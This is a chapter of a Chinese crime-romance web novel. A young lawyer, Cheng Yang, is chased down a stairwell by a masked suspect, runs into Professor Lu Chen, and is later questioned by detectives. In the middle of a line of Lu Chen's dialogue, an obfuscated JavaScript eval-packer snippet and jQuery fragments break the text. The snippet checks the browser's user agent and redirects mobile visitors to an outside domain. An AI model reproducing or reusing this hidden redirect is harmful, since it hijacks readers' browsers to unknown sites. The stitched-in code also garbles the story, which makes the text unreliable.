程漾只能看见他的侧脸。
他正低着头,似乎在专心致志地按着密码锁。
“滴——滴——滴——哔哔!”
密码错误。
男人似乎有些不耐烦,低声咒骂了一句什么,然后又重新开始输入。
程漾的心提到了嗓子眼,吓得浑身都在发抖。
是他!一定是他!
除了凶手,还会是谁?
强烈的直觉告诉她,这个男人绝对和陶乐乐的死脱不了干系!
肾上腺素在体内急剧飙升,短暂地压制了恐惧。
程漾颤抖着从口袋里掏出手机,手指哆哆嗦嗦地点开了录像功能。
她死死地咬着下唇,努力不让自己发出一点声音,将手机的摄像头悄悄对准了门外那个模糊的身影。
程漾屏住呼吸,大气都不敢喘一口。
时间仿佛在这一刻凝固了。
楼梯间里,只有她越来越急促的心跳声,和门外男人一下下按动密码锁的“滴滴”声。
就在这时——
忽然,一阵手机铃声,毫无预兆地在死寂的楼梯间里炸响!
程漾浑身一僵,如遭雷击!
她一看是,林茜打来的电话!
她慌张的按下电话。
“谁?”
门外的黑衣男人显然也被这突变的铃声惊动了,他猛地停止了按密码的动作,警惕地转过头,看向程漾所在的楼梯间方向。
程漾的脑子“嗡”的一声,一片空白。
她手脚冰凉,移动不了半分。
她甚至能感觉到男人目光,已经落在了她的身上。
“跑!”
这是她脑海中唯一的念头!
程漾几乎是凭借着求生的本能,转身就往楼下狂奔!
“砰!”防火门在她身后重重关上,又被追出来的人一把推开。
“站住!”
身后传来男人低沉的怒喝,以及沉重而急促的脚步声,正紧追不舍!
程漾吓得魂飞魄散,脸色惨白如纸。
这一次,她是真的吓哭了,温热的泪水不受控制地夺眶而出,模糊了她的视线。
她甚至不敢回头看一眼,只能拼尽全力,跌跌撞撞地向楼下冲去。
楼梯间的灯光忽明忽暗,在她眼前晃动,更增添了她心中的恐惧。
好在她就住在22楼,距离并不算太远。
她能清晰地听到身后那越来越近的脚步声。
她想也没想,用尽全身力气,一把推开22楼的防火门,踉踉跄跄地冲了出去。
程漾看见出现在门口陆沉,哭着一头撞进他的怀里,紧紧的抱着他。
这一刻她什么都顾不上了。
陆沉似乎刚打开自家房门,手里还拎着一袋垃圾,正准备下楼去扔。
突如其来的撞击让他闷哼一声,下意识地扶住了怀里的人。
程漾此刻已经完全被恐惧所支配,根本顾不上其他,她紧紧抓住陆沉的胳膊,像是抓住了救命稻草一般,身体抖得不像话。
带着浓重的哭腔,语无伦次地尖叫道:
“凶……凶手!在楼上,他回来了,他发现我了……他追我……救命……陆教授……救命啊!”
她哭得涕泪横流,上气不接下气,每一个字都带着极致的惊恐和颤抖。
陆沉原本因为被人猛地撞上而微微蹙起的眉头,在听到“凶手”这两个字,以及感受到怀中人那剧烈的颤抖和真实的恐惧时,神色骤然一凛。
他下意识地收紧手臂,将惊魂未定的程漾整个人圈护在怀里。
猛地抬头,越过程漾的头顶,警惕而冷冽地看向她身后那黑漆漆,静悄悄的楼梯口。
几乎在程漾话音落下的瞬间,他已经做出了判断。
“进去把门锁上,别出来!”他低沉的声音带着不容置疑的命令,手在程漾颤抖的背上轻轻一推,将她推向自家敞开的房门。
同时,自己转身瞬间奔向黑暗楼梯间。
程漾被他推得一个趔趄,脚下发软,几乎是瘫坐在冰凉的门框边。
她甚至来不及反应,只看到陆沉的背影消失在视野中。
“陆,陆沉……”她带着哭腔,满心都是恐惧。
楼梯间里,白炽灯很亮,陆沉疾速向下追去。
他能听到对方极轻微的、刻意压抑的脚步声,正在迅速远去。
对方显然对楼梯间的地形非常熟悉,甚至可能对整栋楼的结构了如指掌。
陆沉的心沉了下去。
这种追逐,在对方占据地利的情况下,几乎没有胜算。
果然,当他追到一楼,推开防火门时,那道黑影早已消失得无影无踪。
陆沉站在原地,喘着粗气。
他知道,人跑了。
他没有立刻返回,而是仔细检查了楼梯间出口附近的环境,但都一无所获。
显然对方是个老手,而且非常谨慎。
二十分钟后,本该是大家睡觉的时间,可陆沉家里却灯火通明。
周凛带着几名便衣警察匆匆的赶来,一起来的还有林茜。
此刻,2201的客厅里,气氛凝重得几乎能滴出水来。
两名年轻警员正坐在沙发对面,一人负责记录,一人负责询问。
程漾身上裹着一件薄毯,小脸煞白,嘴唇还在微微发抖,显然惊魂未定。
林茜紧紧挨着她坐着,一只手轻拍着她的后背,试图给她一些安慰。
“程小姐,你再仔细想想,那个男人还有什么特征?身高、体型、穿着打扮,任何细节都可以。”负责询问的警员尽量让自己的语气温和一些。
程漾用力地咬着下唇,眼眶红红的,声音带着浓重的鼻音:“我,我真的记不清了,我还没来得及拍照就被打断了。”
“我太害怕了,他戴着帽子和口罩。”她说着,身体又是一阵轻颤。
林茜心疼地搂了搂她:“好了好了,想不起来就别想了,别再吓着自己了,都怪我,我不该给你打电话的。”
餐厅那边,隔着一道玻璃移门,周凛的脸色也相当严肃,甚至带着几分压抑的怒火,沉声问道:“到底怎么回事?”
陆沉的目光不经意地扫过客厅里明显受惊过度的程漾,眉头几不可察地蹙了一下,随即简短地将事情经过复述了一遍:“我追下去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15819213|175465||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,但对方很警觉,熟悉地形,跑了。”
“妈的!”周凛低骂一声,一拳捶在餐桌上,发出沉闷的响声。
“这孙子胆子也太肥了!杀了人,还敢大摇大摆地回来?他是回来干什么的?销毁证据?还是挑衅?”
“都有可能。”陆沉的声音平静。
“但有个问题,程漾说他正在试图开锁,如果他真的是凶手,怎么会不知道陶乐乐家中密码呢?”
“他是怎么进门作案的?”
陆沉眉头紧蹙,接着像是想起了什么似的:“或者说,熟人作案?亦或者是,凶手一直藏在她的家里,等事发,趁着混乱离开的?”
周凛眼神一暗,立刻道:“你是说.......我知道了,只要把周围的监控往回倒一周,说不定就能发现什么?”
“一周太久,一个大活人藏在你家里一周不被发现,有点困难,往回倒3天,重点排查陶乐乐的身边的人,工作,亲友。”
周凛点头:“行,这孙子,别给老子逮到,这么嚣张!”
就在这时,客厅里忽然传来林茜压抑不住的怒气:“行了!你们有完没完?没看见她吓成什么样了吗?有什么话不能明天再问吗?非要现在说吗?”
周凛和陆沉闻声同时向客厅看去。
只见林茜霍地站起身,挡在了程漾面前,像一只护崽的母鸡。
陆沉对周凛递了个眼神。
周凛立刻会意,对着客厅方向扬了扬手,语气缓和了一些:“小李,小王,先暂停一下。让程小姐缓一缓。”
两位警员如蒙大赦,连忙点头。
程漾的确是第一次经历这种生死一线的惊魂时刻,那冰冷的杀意,那紧追不舍的脚步声,还有男人那双在黑暗中如同鹰隼般锐利的眼睛,此刻像梦魇一样在她脑海中挥之不去。
她努力地想要回忆起那个男人的长相,但越是努力,脑海中的画面就越是模糊,只剩下那铺天盖地的恐惧。
她自己也知道,现在,唯一和那个疑似凶手正面遭遇过的人,只有她。
所有人都把破案的希望,或多或少地寄托在了她的身上。
这种无形的压力,让她更加焦虑。
林茜见询问暂停,这才稍稍松了口气,转身安抚地拍着程漾的手背,低声说:“漾漾,别怕,有我在呢。想不起来就不想了,安全最重要。”
周凛走了过来,看着程漾苍白的脸,虽然也有些不忍,但职业的敏感性让他不得不再次开口:“程律师,我知道你现在很害怕,但现在是获取线索最关键的时刻。时间拖得越久,你的记忆就可能越模糊,对我们追查凶手就越不利。”
“周队!”林茜又不乐意了。
“你没听懂我的话吗?她现在需要的是休息,不是审问!你们警察办案能不能有点人情味?”
“林记者,这关系到一条人命!不是在开玩笑。”周凛的语气也强硬起来。
眼看两人就要剑拔弩张,陆沉清冷的声音适时响起:“周凛,让她休息一下吧。她现在状态很差,强行回忆也未必能得到准确信息。”
他顿了顿,看向程漾,声音也柔和了些:“你先冷静一下,不要有压力。”